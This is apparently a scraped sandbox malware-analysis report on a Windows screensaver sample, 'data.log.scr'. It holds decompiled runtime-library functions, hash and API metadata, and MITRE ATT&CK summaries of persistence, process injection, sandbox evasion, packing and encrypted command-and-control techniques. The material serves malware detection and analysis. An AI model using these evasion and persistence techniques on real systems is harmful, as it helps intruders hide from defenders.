Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: FileModuleName___initmbctable
String ID: C:\Users\user\Desktop\data.log.exe
API String ID: 767393020-1289806605
Opcode ID: 9f0475eff420c2ae4770d535df4ee70be9abc40626acde45cebe3e2adaabef74
Instruction ID: 43d480528d14d4e617963c0a9f06c641da58ac1f235d643269518376b451b853
Opcode Fuzzy Hash: 9f0475eff420c2ae4770d535df4ee70be9abc40626acde45cebe3e2adaabef74
Instruction Fuzzy Hash: A21127F2B04120BFDB11DBAABD44A9B77FCEB44324B51056BFD05E3140D6749A40C769

Uniqueness

Uniqueness Score: -1.00%

Function 00424762, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E00424762() {
				void* _t16;
				void* _t18;
				intOrPtr* _t20;
				void* _t22;
				void* _t23;
				void* _t24;
				void* _t27;

				E0042647C(E0042D55D, _t24);
				E00402A90("string too long");
				 *(_t24 - 4) =  *(_t24 - 4) & 0x00000000;
				_t4 = _t24 - 0x28; // 0xe
				_t5 = _t24 - 0x50; // -26
				_t20 = _t5;
				E00402A30(_t20, _t27, _t4);
				_push(0x42fadc);
				_t6 = _t24 - 0x50; // 0xe
				 *((intOrPtr*)(_t24 - 0x50)) = 0x42e468;
				_t16 = E0042509E();
				asm("int3");
				 *_t20 = 0x42e4a8;
				_t28 =  *((intOrPtr*)(_t20 + 8));
				 *_t20 = 0x42e4f0;
				if( *((intOrPtr*)(_t20 + 8)) != 0) {
					_push( *((intOrPtr*)(_t20 + 4)));
					return E004255BE(_t18, _t22, _t23, _t28);
				}
				return _t16;
			}

0x00424767
0x00424777
0x0042477c
0x00424780
0x00424784
0x00424784
0x00424787
0x0042478c
0x00424791
0x00424795
0x0042479c
0x004247a1
0x004247a2
0x00425170
0x00425174
0x0042517a
0x0042517c
0x00000000
0x00425184
0x00425185

APIs

__EH_prolog.LIBCMT ref: 00424767

Part of subcall function 0042509E: RaiseException.KERNEL32(?,?,?,?,?,0042E4A8,?,?,?,00424841,0042D4D3,004301F4,00432030,00413E01,0042D4D3,000000FF), ref: 004250CC

Part of subcall function 004255BE: HeapFree.KERNEL32(00000000,?,0042E528,0000000C,004274A4,00000000,?,0042720A,?,0042E598,00000060), ref: 00425623

Strings

hB, xrefs: 00424795
string too long, xrefs: 0042476F

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: ExceptionFreeH_prologHeapRaise
String ID: hB$string too long
API String ID: 517238588-4162919455
Opcode ID: 500f2fd8ebba751ca1f3013d6e9013b7e826199f8acec9835136d86677b485bb
Instruction ID: a0063198a6ad5418a60f27aa6fdeb6e5ae7cc0c3ac2dcd9628e5fcf86c67384a
Opcode Fuzzy Hash: 500f2fd8ebba751ca1f3013d6e9013b7e826199f8acec9835136d86677b485bb
Instruction Fuzzy Hash: 3EF08271B00138EAC700FBE5E90979D7774AF04319FE4416FE00165195CBFD5545CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 0042884B, Relevance: 5.1, APIs: 4, Instructions: 58
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 91%

			E0042884B() {
				signed int _t15;
				void* _t17;
				void* _t18;
				void* _t24;
				signed int _t26;
				intOrPtr* _t30;

				_t15 =  *0x43389c;
				_t26 =  *0x4338ac;
				if(_t15 != _t26) {
					L4:
					_t30 =  *0x4338a0 + (_t15 + _t15 * 4) * 4;
					_t17 = HeapAlloc( *0x4338b4, 8, 0x41c4);
					 *(_t30 + 0x10) = _t17;
					if(_t17 != 0) {
						_t18 = VirtualAlloc(0, 0x100000, 0x2000, 4);
						 *(_t30 + 0xc) = _t18;
						if(_t18 != 0) {
							 *(_t30 + 8) =  *(_t30 + 8) | 0xffffffff;
							 *_t30 = 0;
							 *((intOrPtr*)(_t30 + 4)) = 0;
							 *0x43389c =  *0x43389c + 1;
							 *( *(_t30 + 0x10)) =  *( *(_t30 + 0x10)) | 0xffffffff;
							_push(_t30);
							_pop(0);
						} else {
							HeapFree( *0x4338b4, 0,  *(_t30 + 0x10));
							goto L5;
						}
					} else {
						L5:
					}
					return 0;
				} else {
					_t24 = HeapReAlloc( *0x4338b4, 0,  *0x4338a0, _t26 + 0x50 + _t26 * 4 << 2);
					if(_t24 != 0) {
						 *0x4338ac =  *0x4338ac + 0x10;
						 *0x4338a0 = _t24;
						_t15 =  *0x43389c;
						goto L4;
					} else {
						return 0;
					}
				}
			}

0x0042884b
0x00428850
0x0042885b
0x00428891
0x004288a8
0x004288ab
0x004288b3
0x004288b6
0x004288c9
0x004288d1
0x004288d4
0x004288e8
0x004288ec
0x004288ee
0x004288f1
0x004288fa
0x004288fd
0x004288fe
0x004288d6
0x004288e0
0x00000000
0x004288e0
0x004288b8
0x004288b8
0x004288b8
0x00428901
0x0042885d
0x00428872
0x0042887a
0x00428880
0x00428887
0x0042888c
0x00000000
0x0042887c
0x0042887f
0x0042887f
0x0042887a

APIs

HeapReAlloc.KERNEL32(00000000,?,00000000,00428E3C,00000000,?,7710A080), ref: 00428872
HeapAlloc.KERNEL32(00000008,000041C4,00000000,00000000,00428E3C,00000000,?,7710A080), ref: 004288AB
VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000004), ref: 004288C9
HeapFree.KERNEL32(00000000,?), ref: 004288E0

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: AllocHeap$FreeVirtual
String ID:
API String ID: 3499195154-0
Opcode ID: bbd70d15caadba8ba5466e8241769b069ea6ed98c27c169ea02103fe4bfe1451
Instruction ID: bdcfc490274db602b8eb07458840a55e2eea7834ae2bb57de9e83d97cb962f21
Opcode Fuzzy Hash: bbd70d15caadba8ba5466e8241769b069ea6ed98c27c169ea02103fe4bfe1451
Instruction Fuzzy Hash: C11160713002119FD735AF19FC46926BBF5FB91366790563EF151D21B0C7719952CB08

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report data.log.scr

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

Spam, unwanted Advertisements and Ransom Demands:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

SMTP Packets

Code Manipulations

Statistics

CPU Usage

Function 004210D0, Relevance: 91.3, APIs: 7, Strings: 45, Instructions: 279
COMMON

Function 00423260, Relevance: 56.0, APIs: 37, Instructions: 479
memoryCOMMON

Function 0041F660, Relevance: 33.4, APIs: 3, Strings: 16, Instructions: 128
libraryloaderCOMMON

Function 00425D91, Relevance: 10.6, APIs: 7, Instructions: 135
COMMON

Function 00420570, Relevance: 212.3, APIs: 14, Strings: 107, Instructions: 593
COMMON

Function 0041FD50, Relevance: 105.4, APIs: 9, Strings: 51, Instructions: 377
memoryregistryCOMMON

Function 00420AC8, Relevance: 105.3, APIs: 14, Strings: 46, Instructions: 302
COMMON

Function 00421550, Relevance: 84.3, APIs: 9, Strings: 39, Instructions: 302
memoryregistryCOMMON

Function 0041F8E0, Relevance: 72.0, APIs: 9, Strings: 32, Instructions: 295
COMMON

Function 00415060, Relevance: 59.8, APIs: 10, Strings: 24, Instructions: 314
COMMON

Function 00412620, Relevance: 54.5, APIs: 15, Strings: 16, Instructions: 220
memoryfileCOMMON

Function 00421A20, Relevance: 49.2, APIs: 9, Strings: 19, Instructions: 221
memoryregistryCOMMON

Function 0041FAD9, Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 146
memoryregistryCOMMON

Function 0041F020, Relevance: 16.6, APIs: 11, Instructions: 87
serviceCOMMON

Function 00412897, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 82
stringprocessCOMMON

Function 0041EFA0, Relevance: 10.5, APIs: 7, Instructions: 44
serviceCOMMON

Function 00429190, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 13
libraryloaderCOMMONLIBRARYCODE

Function 004122F0, Relevance: 7.6, APIs: 5, Instructions: 53
fileCOMMON

Function 0041F100, Relevance: 7.5, APIs: 5, Instructions: 35
synchronizationCOMMON

Function 0042846F, Relevance: 3.0, APIs: 2, Instructions: 26
memoryCOMMON

Function 0042AF1A, Relevance: 1.6, APIs: 1, Instructions: 59
memoryCOMMONLIBRARYCODE

Function 0042630D, Relevance: 1.5, APIs: 1, Instructions: 34
memoryCOMMONLIBRARYCODE

Function 0041D159, Relevance: 233.4, APIs: 17, Strings: 116, Instructions: 633
libraryloaderCOMMON

Function 00408BC0, Relevance: 214.0, Strings: 170, Instructions: 1512
COMMONCrypto

Function 0040C8E0, Relevance: 209.4, APIs: 14, Strings: 125, Instructions: 948
stringCOMMONCrypto

Function 00409119, Relevance: 187.5, Strings: 149, Instructions: 1210
COMMONCrypto

Function 004091A7, Relevance: 184.9, Strings: 147, Instructions: 1190
COMMONCrypto

Function 0040EDE0, Relevance: 182.0, Strings: 145, Instructions: 725
COMMONCrypto

Function 0041E3A0, Relevance: 179.1, APIs: 5, Strings: 97, Instructions: 646
COMMONCrypto

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre